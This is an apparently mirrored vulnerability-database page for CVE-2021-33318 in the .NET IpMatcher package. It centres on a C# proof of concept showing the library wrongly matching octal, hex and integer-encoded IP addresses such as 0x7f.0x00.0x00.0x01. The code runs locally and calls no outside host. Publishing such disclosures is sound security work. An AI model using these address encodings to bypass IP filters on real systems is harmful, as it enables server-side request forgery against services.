Lucene search
K

IpMatcher 1.0.4.1 Server-Side Request Forgery

🗓️ 16 May 2022 00:00:00Reported by Sick Codes, Kelly KaoudisType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 215 Views

SSRF in .NET C# IpMatcher v1.0.4.1 and below leading to indeterminate SSRF, LFI, RFI, and DoS vector

Related
Code
ReporterTitlePublishedViews
Family
0day.today
IpMatcher 1.0.4.1 Server-Side Request Forgery Vulnerability
16 May 202200:00
zdt
Circl
CVE-2021-33318
16 May 202220:37
circl
CNNVD
WatsonWebserver 代码问题漏洞
16 May 202200:00
cnnvd
CVE
CVE-2021-33318
16 May 202215:12
cve
Cvelist
CVE-2021-33318
16 May 202215:12
cvelist
EUVD
EUVD-2022-4989
3 Oct 202520:07
euvd
Github Security Blog
Improper Input Validation in IpMatcher
17 May 202200:00
github
NVD
CVE-2021-33318
16 May 202216:15
nvd
OSV
GHSA-QJ93-37F5-MR29 Improper Input Validation in IpMatcher
17 May 202200:00
osv
Prion
Input validation
16 May 202216:15
prion
Rows per page
`# Exploit Title: SSRF in .NET C# IpMatcher v1.0.4.1 and below NuGet package: CVE-2021-33318 IpMatcher v1.0.4.1 and below for .NET Core 2.0 and .NET Framework 4.5.2. incorrectly validates octal & hexadecimal input data, leading to indeterminate SSRF, LFI, RFI, and DoS vectors.  
# Date: 22/09/2022  
# Exploit Author: Kelly Kaoudis & Sick Codes  
# Vendor Homepage: https://www.nuget.org/packages/IpMatcher/1.0.4.2  
# Version: 1.0.4.1 and below  
# Tested on: macOS, Linux, Windows  
# CVE: CVE-2021-33318  
# Reference: https://github.com/kaoudis/advisories/blob/main/0-2021.md  
# Reference: https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-060.md  
  
/* Author: Kelly Kaoudis  
* License: GPLv3  
*  
* Requires:  
* `dotnet add package IpMatcher --version 1.0.4.1`  
*  
* To run:  
* `dotnet run`  
*/  
  
using System;  
using IpMatcher;  
  
namespace dotnet  
{  
class PoC  
{  
private static void checkExists(Matcher matcher, string ip, string mask)  
{  
if (matcher.Exists(ip, mask))  
{  
Console.WriteLine("matches on " + ip + " / " + mask);  
}  
else  
{  
Console.WriteLine("DOES NOT match on " + ip + " / " + mask);  
}  
}  
  
private static void checkMatchExists(Matcher matcher, string ip)  
{  
if (matcher.MatchExists(ip))  
{  
Console.WriteLine("matches on " + ip);  
}  
else  
{  
Console.WriteLine("DOES NOT match on " + ip);  
}  
  
}  
  
private static void dumpMatcher(Matcher matcher)  
{  
Console.WriteLine("\nWhat is actually in the matcher now (if nothing follows on the next line, nothing)?");  
foreach (string addr in matcher.All())  
{  
Console.WriteLine("address from matcher: " + addr);  
}  
Console.WriteLine("");  
}  
  
static void Main(string[] args)  
{  
Console.WriteLine("Constructing a new IpMatcher#Matcher...");  
Matcher matcher = new Matcher();  
// nothing in the matcher yet  
dumpMatcher(matcher);  
  
Console.WriteLine("adding 192.31.196.0 / 0.0.0.0 (mask)");  
matcher.Add("192.31.196.0", "0.0.0.0");  
  
// contains 0.0.0.0 / 0.0.0.0 (incorrect)  
dumpMatcher(matcher);  
  
checkExists(matcher, "192.31.196.2", "0.0.0.0");  
checkExists(matcher, "192.31.196.1", "0.0.0.0");  
checkExists(matcher, "192.31.196.0", "0.0.0.0"); // should match but does not  
checkExists(matcher, "0.0.0.0", "255.0.0.0"); //should not match  
checkExists(matcher, "0.0.0.0", "0.0.0.0");  
  
checkMatchExists(matcher, "0.0.0.0");  
checkMatchExists(matcher, "192.31.196.0");  
checkMatchExists(matcher, "192.31.196.1");  
//checkMatchExists(matcher, "0192.031.0196.0"); throws parse exception and not sure why  
checkMatchExists(matcher, "0300.037.0304.0"); // octal for 192.31.196.0  
checkMatchExists(matcher, "0300.037.0304.01");  
checkMatchExists(matcher, "0300.036.0304.0"); // should not match but does  
checkMatchExists(matcher, "0100.0100.0100.0100"); // should not match but does  
  
// checkMatchExists(matcher, "aaaaaaaaaa"); thankfully results in exception  
  
// results in invalid argument exception  
// if (matcher.MatchExists("0192.031.0196.02"))  
// {  
// Console.WriteLine("gross! matches 0192.031.0196.02");  
// }  
  
Console.WriteLine("adding 192.168.0.0 / 255.0.0.0 (mask)");  
matcher.Add("192.168.0.0", "255.0.0.0");  
  
checkExists(matcher, "192.167.0.1", "255.0.0.0");  
checkExists(matcher, "192.168.0.0", "255.0.0.0");  
checkExists(matcher, "192.168.1.1", "255.0.0.0");  
checkMatchExists(matcher, "172.13.2.15");  
checkMatchExists(matcher, "010.1.1.1");  
checkMatchExists(matcher, "4.4.4.4");  
  
Console.WriteLine("adding 0300.055.0250.0 / 1.1.0.0 (mask)");  
matcher.Add("0300.055.0250.0", "1.1.0.0");  
  
checkExists(matcher, "192.45.168.0", "1.1.0.0");  
checkExists(matcher, "0300.055.0250.0", "0.0.0.0");  
checkExists(matcher, "0300.055.0250.0300", "1.1.0.0");  
checkExists(matcher, "0288.055.0250.0", "1.1.0.0");  
  
checkMatchExists(matcher, "2130706433");  
checkMatchExists(matcher, "017700000001");  
checkMatchExists(matcher, "3232235521");  
checkMatchExists(matcher, "3232235777");  
checkMatchExists(matcher, "0x7f.0x00.0x00.0x01");  
checkMatchExists(matcher, "0xc0.0xa8.0x00.0x14");  
  
Console.WriteLine("adding 0300.055.0250.0 / 0377.0.0.0 (mask)");  
matcher.Add("0300.055.0250.0", "0377.0.0.0");  
  
Console.WriteLine("adding 0250.0300.010.010 / 0.0.0.0 (mask)");  
matcher.Add("0250.0300.010.010", "0.0.0.0");  
  
Console.WriteLine("adding 0250.0300.010.010 / 010.010.010.0 (mask)");  
matcher.Add("0250.0300.010.010", "010.010.010.0");  
  
// anything ending in 8 or 9 doesn't work  
Console.WriteLine("adding 0172.057.0.0 / 0.0.0.0 (mask)");  
matcher.Add("0172.057.0.0", "0.0.0.0");  
  
Console.WriteLine("adding 0172.057.0.0 / 055.055.013.0 (mask)");  
matcher.Add("0172.057.0.0", "055.055.013.0");  
  
// matcher.Add("08.09.0.0", "01.01.01.0"); fails as it should  
  
Console.WriteLine("adding 010.010.0172.0 / 0.0.0.0 (mask)");  
matcher.Add("010.010.0172.0", "0.0.0.0");  
  
Console.WriteLine("adding 010.010.0172.0 / 01.01.01.01 (mask)");  
matcher.Add("010.010.0172.0", "01.01.01.01");  
  
Console.WriteLine("adding 010.010.0172.0 / 010.010.0172.010 (mask)");  
matcher.Add("010.010.0172.0", "010.010.0172.010");  
  
Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");  
matcher.Add("010.010.0172.0", "010.010.0.010");  
  
Console.WriteLine("adding 010.010.0172.0 / 010.010.0.010 (mask)");  
matcher.Add("010.010.0172.0", "010.010.0255.010");  
  
Console.WriteLine("adding 0xaa.0xaa.0xaa.0xaa / 0xaa.0xfe.0xfe.0xfe (mask)");  
matcher.Add("0xaa.0xaa.0xaa.0xaa", "0xfe.0xfe.0xfe.0xfe");  
  
// fails with exception as it should as 0xfff is tooooo biggggg  
// matcher.Add("0xfff.0xfff.0xfff.0x0", "0x0.0x0.0x0.0x0");  
  
Console.WriteLine("adding 0xf0.0x0.0x0.0x0 / 0xff.0x0.0x0.0x0 (mask)");  
matcher.Add("0xf0.0x0.0x0.0x0", "0xff.0x0.0x0.0x0");  
  
// now contains the following:  
// 0.0.0.0/0.0.0.0  
// 192.0.0.0/255.0.0.0  
// 0.1.0.0/1.1.0.0  
// 192.0.0.0/0377.0.0.0  
// 8.0.8.0/010.010.010.0  
// 40.45.0.0/055.055.013.0  
// 8.8.122.0/010.010.0172.010  
// 8.8.0.0/010.010.0.010  
// 8.8.40.0/010.010.0255.010  
// 170.170.170.170/0xfe.0xfe.0xfe.0xfe  
// 240.0.0.0/0xff.0x0.0x0.0x0  
dumpMatcher(matcher);  
}  
}  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 May 2022 00:00Current
0.8Low risk
Vulners AI Score0.8
EPSS0.00743
215